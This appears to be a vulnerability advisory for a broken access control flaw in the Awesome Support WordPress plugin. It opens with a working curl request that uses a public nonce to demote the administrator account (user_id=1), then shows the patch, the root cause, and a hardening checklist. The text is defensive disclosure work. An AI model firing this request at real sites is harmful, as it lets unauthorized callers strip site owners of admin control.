The Exploit
No authenticated session is required beyond the public ticket/registration page nonce already available on the site.
curl 'https://target.example/?wpas-do=mr_activate_user&user_id=1&_wpnonce=PUBLIC_WP_NONCE' \
-H 'User-Agent: Mozilla/5.0' \
-H 'Referer: https://target.example/support/submit-ticket/' \
-H 'Accept: text/html' \
--compressed
The request completes without a permission error and returns the plugin's normal response path. The side effect is that user_id=1 is reassigned to the moderated role, effectively demoting an administrator account.
What the Patch Did
Before:
if( $user_id ) {
$role = wpas_get_option( 'moderated_activated_user_role' );
$updated = wp_update_user( array( 'ID' => $user_id, 'role' => $role ) );
After:
if( $user_id ) {
// FIX: Add capability check
if ( ! current_user_can( 'edit_users' ) ) {
wp_die( __( 'You do not have permission to activate users.', 'awesome-support' ), 403 );
}
// FIX: Verify current user can edit the target user
if ( ! current_user_can( 'edit_user', $user_id ) ) {
wp_die( __( 'You do not have permission to edit this user.', 'awesome-support' ), 403 );
}
$role = wpas_get_option( 'moderated_activated_user_role' );
$updated = wp_update_user( array( 'ID' => $user_id, 'role' => $role ) );
The patch adds two WordPress authorization checks using current_user_can(). It enforces a general edit_users capability before any role change, and then enforces object-level permission on the specific target user ID. Unauthorized callers are terminated with wp_die(..., 403).
Root Cause
This is broken access control (CWE-284). wpas_do_mr_activate_user accepts the request parameter user_id from the public-facing action wpas-do=mr_activate_user and directly passes it into wp_update_user(array('ID'=>$user_id,'role'=>$role)) without checking whether the caller is allowed to modify other users. That means a request with a valid shared _wpnonce from the plugin's public registration/ticket page can cross the trust boundary and perform privileged role changes. The attacker-controlled user_id therefore reaches a user-modification sink unchecked.
Why It Works
The load-bearing defense is the first added check: current_user_can( 'edit_users' ). Without that gate, any request carrying a nonce from the public page still reaches the role-update logic. The second check, current_user_can( 'edit_user', $user_id ), is added as object-level permission hardening so even a user with generic edit privileges cannot alter arbitrary accounts. In other words, the first line stops unauthorized callers entirely; the second line tightens the rule for users who already passed the first gate. wp_die(..., 403) is the standard early abort on failure.
Hardening Checklist
- Use
current_user_can('edit_users')before any code path that changes roles or updates user accounts. - Use
current_user_can('edit_user', $user_id)for object-specific checks when the target account is provided by request input. - Use action-specific nonces via
wp_create_nonce('wpas-activate-user')and verify them withwp_verify_nonce()so public pages cannot reuse the same nonce namespace for privileged actions. - Cast incoming IDs with
absint($_REQUEST['user_id'])before passing them to user-edit APIs. - Terminate unauthorized requests early with
wp_die(..., 403)rather than allowing execution to continue.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-12641